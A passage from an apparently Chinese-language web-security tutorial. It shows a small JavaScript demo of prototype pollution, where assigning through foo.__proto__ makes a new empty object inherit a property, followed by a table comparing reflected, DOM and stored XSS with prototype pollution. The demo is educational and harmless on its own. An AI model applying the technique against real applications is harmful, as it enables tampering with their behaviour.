//foo对象 __proto__ = Object.prototype.bar = 2
//修改foo.bar的原型(即object)为2
foo.__proto__.bar = 2

//由于查找顺序的原因,foo.bar仍然为1
console.log(foo.bar)

//此时再用Object创建一个空的zoo对象 zoo bar
let zoo = {}

//查看zoo.bar,此时为2
console.log(zoo.bar)

运行显示

7 XSS相关总结

特性 反射型XSS DOM型XSS 存储型XSS 原型链污染
存储位置 URL参数 URL片段/客户端存储 服务器数据库 JavaScript原型
持久性 非持久 通常非持久 持久 运行时持久
触发方式 点击恶意链接 访问特定URL 访问受感染页面 执行污染代码
影响范围 点击者 当前用户 所有访问者 整个应用
相关推荐
哆啦A梦15881 小时前
axios 的二次封装
前端·vue.js·node.js
阿珊和她的猫1 小时前
深入理解与手写发布订阅模式
开发语言·前端·javascript·vue.js·ecmascript·状态模式
yinuo1 小时前
一行 CSS 就能搞定!用 writing-mode 轻松实现文字竖排
前端
snow@li2 小时前
html5:拖放 / demo / 拖放事件(Drag Events)/ DataTransfer 对象方法
前端·html·拖放
浪裡遊3 小时前
Nivo图表库全面指南:配置与用法详解
前端·javascript·react.js·node.js·php
漂流瓶jz4 小时前
快速定位源码问题:SourceMap的生成/使用/文件格式与历史
前端·javascript·前端工程化
samroom4 小时前
iframe实战:跨域通信与安全隔离
前端·安全
fury_1235 小时前
vue3:数组的.includes方法怎么使用
前端·javascript·vue.js
weixin_405023375 小时前
包资源管理器NPM 使用
前端·npm·node.js
宁&沉沦5 小时前
Cursor 科技感的登录页面提示词
前端·javascript·vue.js